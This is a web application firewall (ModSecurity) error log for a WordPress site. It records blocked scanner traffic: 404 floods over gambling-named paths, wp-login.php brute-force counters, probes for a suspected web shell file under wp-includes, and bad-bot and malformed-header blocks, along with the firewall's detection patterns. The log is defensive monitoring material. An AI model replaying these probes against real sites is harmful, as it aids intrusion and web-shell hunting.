[Tue Apr 07 03:04:55.082051 2026] [:error] [pid 55003:tid 55023] [client 147.135.128.94:59500] [client 147.135.128.94] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/ufabet%207777.aspx"] [unique_id "adQD1wiMyAbcUkWpJeA1CwAAARA"]
[Tue Apr 07 03:04:57.110073 2026] [:error] [pid 39329:tid 39405] [client 147.135.128.94:59506] [client 147.135.128.94] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/ufabet%20auto%20wallet.aspx"] [unique_id "adQD2Vb3ztKMBQDfFBy-qgAAAEM"]
[Tue Apr 07 03:04:58.979094 2026] [:error] [pid 39330:tid 39434] [client 147.135.128.94:48398] [client 147.135.128.94] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/ufabet%20auto.aspx"] [unique_id "adQD2nXef-xW6Zktbj_TbgAAAIQ"]
[Tue Apr 07 03:05:01.000775 2026] [:error] [pid 55003:tid 55023] [client 147.135.128.94:48400] [client 147.135.128.94] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/ufabet%20net.aspx"] [unique_id "adQD3AiMyAbcUkWpJeA1NQAAARA"]
[Tue Apr 07 03:05:03.005675 2026] [:error] [pid 55003:tid 55009] [client 147.135.128.94:48416] [client 147.135.128.94] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/ufabet%20wallet%20777.aspx"] [unique_id "adQD3wiMyAbcUkWpJeA1QAAAAQI"]
[Tue Apr 07 03:05:04.876397 2026] [:error] [pid 39748:tid 39766] [client 147.135.128.94:48426] [client 147.135.128.94] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/ufabet%20wallet.aspx"] [unique_id "adQD4Cgic31vPbqmSIroLAAAAMs"]
[Tue Apr 07 03:05:06.893078 2026] [:error] [pid 55003:tid 55016] [client 147.135.128.94:48434] [client 147.135.128.94] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/w69%20slot.aspx"] [unique_id "adQD4giMyAbcUkWpJeA1SQAAAQk"]
[Tue Apr 07 03:05:08.903941 2026] [:error] [pid 39330:tid 39431] [client 147.135.128.94:37190] [client 147.135.128.94] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/wallet%20slot.aspx"] [unique_id "adQD5HXef-xW6Zktbj_TeAAAAIE"]
[Tue Apr 07 03:05:10.933685 2026] [:error] [pid 39328:tid 39356] [client 147.135.128.94:37204] [client 147.135.128.94] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/we88%20slot.aspx"] [unique_id "adQD5jhTc4A7DPq5yJiIggAAABg"]
[Tue Apr 07 03:05:12.944036 2026] [:error] [pid 39330:tid 39432] [client 147.135.128.94:37220] [client 147.135.128.94] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/www%20ufabet%20com.aspx"] [unique_id "adQD6HXef-xW6Zktbj_TgwAAAII"]
[Tue Apr 07 03:05:14.808572 2026] [:error] [pid 55003:tid 55007] [client 147.135.128.94:37234] [client 147.135.128.94] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/xo%20slot.aspx"] [unique_id "adQD6giMyAbcUkWpJeA1WQAAAQA"]
[Tue Apr 07 03:05:16.814667 2026] [:error] [pid 39329:tid 39422] [client 147.135.128.94:37238] [client 147.135.128.94] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/yakuza%20slot.aspx"] [unique_id "adQD7Fb3ztKMBQDfFBy-wgAAAFQ"]
[Tue Apr 07 04:16:35.992267 2026] [:error] [pid 37719:tid 37722] [client 92.53.96.141:39558] [client 92.53.96.141] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 92.53.96.141, incrementing brute counter"] [hostname "gigfragments.org"] [uri "/wp-login.php"] [unique_id "adQUo009Xv52u2xXGLDpiQAAAMA"]
[Tue Apr 07 04:16:50.973795 2026] [:error] [pid 37597:tid 37653] [client 92.53.96.141:45344] [client 92.53.96.141] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 92.53.96.141, incrementing brute counter"] [hostname "gigfragments.org"] [uri "/wp-login.php"] [unique_id "adQUsg6uAY0QAy-8EEId7AAAAFM"], referer: https://gigfragments.org/wp-login.php
[Tue Apr 07 04:52:21.549401 2026] [:error] [pid 12948:tid 12967] [client 194.26.192.92:58571] [client 194.26.192.92] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "gigfragments.org"] [uri "/wp-includes/widgets/txets.php"] [unique_id "adQdBcbeSPAN8LvMqsbcAgAAARA"]
[Tue Apr 07 04:52:22.040140 2026] [:error] [pid 12948:tid 12970] [client 194.26.192.92:58740] [client 194.26.192.92] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "gigfragments.org"] [uri "/wp-includes/rest-api/txets.php"] [unique_id "adQdBsbeSPAN8LvMqsbcBQAAARM"]
[Tue Apr 07 04:52:22.523127 2026] [:error] [pid 37719:tid 37730] [client 194.26.192.92:58988] [client 194.26.192.92] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "gigfragments.org"] [uri "/wp-includes/blocks/post-template/txets.php"] [unique_id "adQdBk09Xv52u2xXGLAEMwAAAMg"]
[Tue Apr 07 04:52:25.277858 2026] [:error] [pid 37597:tid 37646] [client 194.26.192.92:60388] [client 194.26.192.92] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "gigfragments.org"] [uri "/wp-includes/txets.php"] [unique_id "adQdCQ6uAY0QAy-8EEIvjgAAAEw"]
[Tue Apr 07 05:06:46.383883 2026] [:error] [pid 37598:tid 37671] [client 43.153.76.247:60224] [client 43.153.76.247] ModSecurity: Access denied with code 403 (phase 2). Pattern match "\\\\b(close|keep-alive),[\\\\t\\\\n\\\\r ]{0,1}(close|keep-alive)\\\\b" at REQUEST_HEADERS:Connection. [file "/usr/local/apache/modsecurity-cwaf/rules/12_HTTP_Protocol.conf"] [line "70"] [id "210350"] [rev "1"] [msg "COMODO WAF: Multiple/Conflicting Connection Header Data Found||gigfragments.org|F|4"] [data "keep-alive, close"] [severity "WARNING"] [tag "CWAF"] [tag "Protocol"] [hostname "gigfragments.org"] [uri "/"] [unique_id "adQgZu9g7q_cV2WhPaxnAwAAAIo"]
[Tue Apr 07 05:31:38.676795 2026] [:error] [pid 12948:tid 12970] [client 106.54.62.156:33990] [client 106.54.62.156] ModSecurity: Access denied with code 403 (phase 2). Pattern match "\\\\b(close|keep-alive),[\\\\t\\\\n\\\\r ]{0,1}(close|keep-alive)\\\\b" at REQUEST_HEADERS:Connection. [file "/usr/local/apache/modsecurity-cwaf/rules/12_HTTP_Protocol.conf"] [line "70"] [id "210350"] [rev "1"] [msg "COMODO WAF: Multiple/Conflicting Connection Header Data Found||gigfragments.org|F|4"] [data "keep-alive, close"] [severity "WARNING"] [tag "CWAF"] [tag "Protocol"] [hostname "gigfragments.org"] [uri "/"] [unique_id "adQmOsbeSPAN8LvMqsb6rAAAARM"]
[Tue Apr 07 06:16:48.320381 2026] [:error] [pid 37597:tid 37655] [client 147.124.215.202:33324] [client 147.124.215.202] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 147.124.215.202, incrementing brute counter"] [hostname "gigfragments.org"] [uri "/wp-login.php"] [unique_id "adQw0A6uAY0QAy-8EEJP4AAAAFU"]
[Tue Apr 07 06:16:52.618120 2026] [:error] [pid 37597:tid 37655] [client 147.124.215.202:33324] [client 147.124.215.202] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 147.124.215.202, incrementing brute counter"] [hostname "gigfragments.org"] [uri "/wp-login.php"] [unique_id "adQw1A6uAY0QAy-8EEJP5wAAAFU"], referer: https://gigfragments.org/wp-login.php
[Tue Apr 07 06:34:10.483209 2026] [:error] [pid 37597:tid 37656] [client 92.53.96.141:40428] [client 92.53.96.141] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 92.53.96.141, incrementing brute counter"] [hostname "gigfragments.org"] [uri "/wp-login.php"] [unique_id "adQ04g6uAY0QAy-8EEJW0gAAAFY"]
[Tue Apr 07 08:36:32.893221 2026] [:error] [pid 37597:tid 37635] [client 103.90.232.170:50174] [client 103.90.232.170] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 103.90.232.170, incrementing brute counter"] [hostname "gigfragments.org"] [uri "/wp-login.php"] [unique_id "adRRkA6uAY0QAy-8EEKJ0wAAAEE"]
[Tue Apr 07 08:36:42.449290 2026] [:error] [pid 37597:tid 37652] [client 103.90.232.170:50778] [client 103.90.232.170] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 103.90.232.170, incrementing brute counter"] [hostname "gigfragments.org"] [uri "/wp-login.php"] [unique_id "adRRmg6uAY0QAy-8EEKJ6wAAAFI"], referer: https://gigfragments.org/wp-login.php
[Tue Apr 07 10:36:18.986884 2026] [:error] [pid 12948:tid 12974] [client 170.106.179.68:44074] [client 170.106.179.68] ModSecurity: Access denied with code 403 (phase 2). Pattern match "\\\\b(close|keep-alive),[\\\\t\\\\n\\\\r ]{0,1}(close|keep-alive)\\\\b" at REQUEST_HEADERS:Connection. [file "/usr/local/apache/modsecurity-cwaf/rules/12_HTTP_Protocol.conf"] [line "70"] [id "210350"] [rev "1"] [msg "COMODO WAF: Multiple/Conflicting Connection Header Data Found||gigfragments.org|F|4"] [data "keep-alive, close"] [severity "WARNING"] [tag "CWAF"] [tag "Protocol"] [hostname "gigfragments.org"] [uri "/"] [unique_id "adRtosbeSPAN8LvMqsYjlwAAARc"]
[Tue Apr 07 10:57:17.038251 2026] [:error] [pid 37719:tid 37722] [client 217.216.72.68:63131] [client 217.216.72.68] ModSecurity: Access denied with code 403 (phase 1). String match "Go-http-client" at REQUEST_HEADERS:User-Agent. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "36"] [id "771003"] [msg "Blocked bad bot user-agent: Go-http-client"] [tag "bad_bot"] [hostname "gigfragments.org"] [uri "/wp-content/"] [unique_id "adRyjU09Xv52u2xXGLDv7wAAAMA"]
[Tue Apr 07 10:57:17.146984 2026] [:error] [pid 37719:tid 37737] [client 217.216.72.68:49616] [client 217.216.72.68] ModSecurity: Access denied with code 403 (phase 1). String match "Go-http-client" at REQUEST_HEADERS:User-Agent. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "36"] [id "771003"] [msg "Blocked bad bot user-agent: Go-http-client"] [tag "bad_bot"] [hostname "gigfragments.org"] [uri "/wp-includes/"] [unique_id "adRyjU09Xv52u2xXGLDv8gAAAM8"]
[Tue Apr 07 10:57:30.504188 2026] [:error] [pid 12948:tid 12965] [client 217.216.72.68:56458] [client 217.216.72.68] ModSecurity: Access denied with code 403 (phase 1). String match "Go-http-client" at REQUEST_HEADERS:User-Agent. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "36"] [id "771003"] [msg "Blocked bad bot user-agent: Go-http-client"] [tag "bad_bot"] [hostname "gigfragments.org"] [uri "/wp-login.php"] [unique_id "adRymsbeSPAN8LvMqsY3qgAAAQ4"]
[Tue Apr 07 10:57:30.620254 2026] [:error] [pid 37597:tid 37637] [client 217.216.72.68:55677] [client 217.216.72.68] ModSecurity: Access denied with code 403 (phase 1). String match "Go-http-client" at REQUEST_HEADERS:User-Agent. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "36"] [id "771003"] [msg "Blocked bad bot user-agent: Go-http-client"] [tag "bad_bot"] [hostname "gigfragments.org"] [uri "/xmlrpc.php"] [unique_id "adRymg6uAY0QAy-8EELAUQAAAEM"]
[Tue Apr 07 10:57:46.805888 2026] [:error] [pid 59660:tid 59674] [client 217.216.72.68:63457] [client 217.216.72.68] ModSecurity: Access denied with code 403 (phase 1). String match "Go-http-client" at REQUEST_HEADERS:User-Agent. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "36"] [id "771003"] [msg "Blocked bad bot user-agent: Go-http-client"] [tag "bad_bot"] [hostname "gigfragments.org"] [uri "/readme.html"] [unique_id "adRyqjp3-oiX2o5bTsyw_wAAAcw"]
[Tue Apr 07 11:40:47.811205 2026] [:error] [pid 37598:tid 37667] [client 182.42.110.255:59877] [client 182.42.110.255] ModSecurity: Access denied with code 403 (phase 2). Pattern match "\\\\b(close|keep-alive),[\\\\t\\\\n\\\\r ]{0,1}(close|keep-alive)\\\\b" at REQUEST_HEADERS:Connection. [file "/usr/local/apache/modsecurity-cwaf/rules/12_HTTP_Protocol.conf"] [line "70"] [id "210350"] [rev "1"] [msg "COMODO WAF: Multiple/Conflicting Connection Header Data Found||www.gigfragments.org|F|4"] [data "keep-alive, close"] [severity "WARNING"] [tag "CWAF"] [tag "Protocol"] [hostname "www.gigfragments.org"] [uri "/"] [unique_id "adR8v-9g7q_cV2WhPawuEgAAAIY"]
[Tue Apr 07 12:30:55.405777 2026] [:error] [pid 37596:tid 37608] [client 217.182.195.179:39570] [client 217.182.195.179] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/galaxy%20bet%20slot.aspx"] [unique_id "adSIf6paAOZHEjRWjP1jDQAAAAI"]
[Tue Apr 07 12:30:57.224352 2026] [:error] [pid 59551:tid 59572] [client 217.182.195.179:40216] [client 217.182.195.179] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/galaxy%20slot.aspx"] [unique_id "adSIgV7LN7Ubyqs-sVtKFgAAAZM"]
[Tue Apr 07 12:30:59.280662 2026] [:error] [pid 59660:tid 59668] [client 217.182.195.179:40222] [client 217.182.195.179] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/h25%20com.aspx"] [unique_id "adSIgzp3-oiX2o5bTszCtQAAAcY"]
[Tue Apr 07 12:31:01.162836 2026] [:error] [pid 37597:tid 37652] [client 217.182.195.179:40234] [client 217.182.195.179] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/jili%20slot.aspx"] [unique_id "adSIhQ6uAY0QAy-8EEISbwAAAFI"]
[Tue Apr 07 12:31:03.055561 2026] [:error] [pid 12948:tid 12973] [client 217.182.195.179:40248] [client 217.182.195.179] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/joker%20slot.aspx"] [unique_id "adSIh8beSPAN8LvMqsZNIQAAARY"]
[Tue Apr 07 12:31:04.937025 2026] [:error] [pid 12948:tid 12958] [client 217.182.195.179:40250] [client 217.182.195.179] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/joker%20vip.aspx"] [unique_id "adSIiMbeSPAN8LvMqsZNJgAAAQc"]
[Tue Apr 07 12:31:06.965706 2026] [:error] [pid 59551:tid 59571] [client 217.182.195.179:40396] [client 217.182.195.179] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/kingkong%20joker.aspx"] [unique_id "adSIil7LN7Ubyqs-sVtKIAAAAZI"]
[Tue Apr 07 12:31:08.854379 2026] [:error] [pid 37597:tid 37646] [client 217.182.195.179:40398] [client 217.182.195.179] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/lava%20slot.aspx"] [unique_id "adSIjA6uAY0QAy-8EEISegAAAEw"]
[Tue Apr 07 12:31:10.751142 2026] [:error] [pid 37598:tid 37675] [client 217.182.195.179:40406] [client 217.182.195.179] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/mega%20slot.aspx"] [unique_id "adSIju9g7q_cV2WhPaw6qQAAAI4"]
[Tue Apr 07 12:31:12.782651 2026] [:error] [pid 59804:tid 59825] [client 217.182.195.179:40416] [client 217.182.195.179] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/metal%20slot.aspx"] [unique_id "adSIkHYVIXiPh5_eJTkM-gAAAhM"]
[Tue Apr 07 12:31:14.803369 2026] [:error] [pid 59804:tid 59807] [client 217.182.195.179:40418] [client 217.182.195.179] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/pg%20168.aspx"] [unique_id "adSIknYVIXiPh5_eJTkM_QAAAgE"]
[Tue Apr 07 12:31:16.676395 2026] [:error] [pid 37597:tid 37643] [client 217.182.195.179:40714] [client 217.182.195.179] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/pg%20auto.aspx"] [unique_id "adSIlA6uAY0QAy-8EEISoQAAAEk"]
[Tue Apr 07 12:31:18.706822 2026] [:error] [pid 12948:tid 12969] [client 217.182.195.179:40730] [client 217.182.195.179] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/pg%20betflik.aspx"] [unique_id "adSIlsbeSPAN8LvMqsZNWgAAARI"]
[Tue Apr 07 12:31:20.721677 2026] [:error] [pid 37598:tid 37680] [client 217.182.195.179:40738] [client 217.182.195.179] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/pg%20game%20slot.aspx"] [unique_id "adSImO9g7q_cV2WhPaw63AAAAJM"]
[Tue Apr 07 12:31:22.603422 2026] [:error] [pid 59551:tid 59564] [client 217.182.195.179:40750] [client 217.182.195.179] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/pg%20game.aspx"] [unique_id "adSIml7LN7Ubyqs-sVtKMwAAAYs"]
[Tue Apr 07 13:09:55.629286 2026] [:error] [pid 59804:tid 59828] [client 54.37.86.223:38474] [client 54.37.86.223] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/auto%20slot.aspx"] [unique_id "adSRo3YVIXiPh5_eJTkYEwAAAhY"]
[Tue Apr 07 13:09:57.996744 2026] [:error] [pid 37597:tid 37646] [client 54.37.86.223:56202] [client 54.37.86.223] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/betflik%20casino.aspx"] [unique_id "adSRpQ6uAY0QAy-8EEIuegAAAEw"]
[Tue Apr 07 13:10:00.348325 2026] [:error] [pid 59551:tid 59554] [client 54.37.86.223:56212] [client 54.37.86.223] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/betflik%20co.aspx"] [unique_id "adSRqF7LN7Ubyqs-sVtWpgAAAYE"]
[Tue Apr 07 13:10:02.931614 2026] [:error] [pid 37719:tid 37732] [client 54.37.86.223:37654] [client 54.37.86.223] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/betflik%20dc.aspx"] [unique_id "adSRqk09Xv52u2xXGLApUQAAAMo"]
[Tue Apr 07 13:10:05.162335 2026] [:error] [pid 37597:tid 37656] [client 54.37.86.223:37662] [client 54.37.86.223] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/betflik%20original.aspx"] [unique_id "adSRrQ6uAY0QAy-8EEIumQAAAFY"]
[Tue Apr 07 13:10:07.098642 2026] [:error] [pid 37598:tid 37685] [client 54.37.86.223:37678] [client 54.37.86.223] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/betflik%20slot.aspx"] [unique_id "adSRr-9g7q_cV2WhPaxCcgAAAJg"]
[Tue Apr 07 13:10:09.070412 2026] [:error] [pid 37719:tid 37728] [client 54.37.86.223:37688] [client 54.37.86.223] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/betflik%20thailand.aspx"] [unique_id "adSRsU09Xv52u2xXGLApXAAAAMY"]
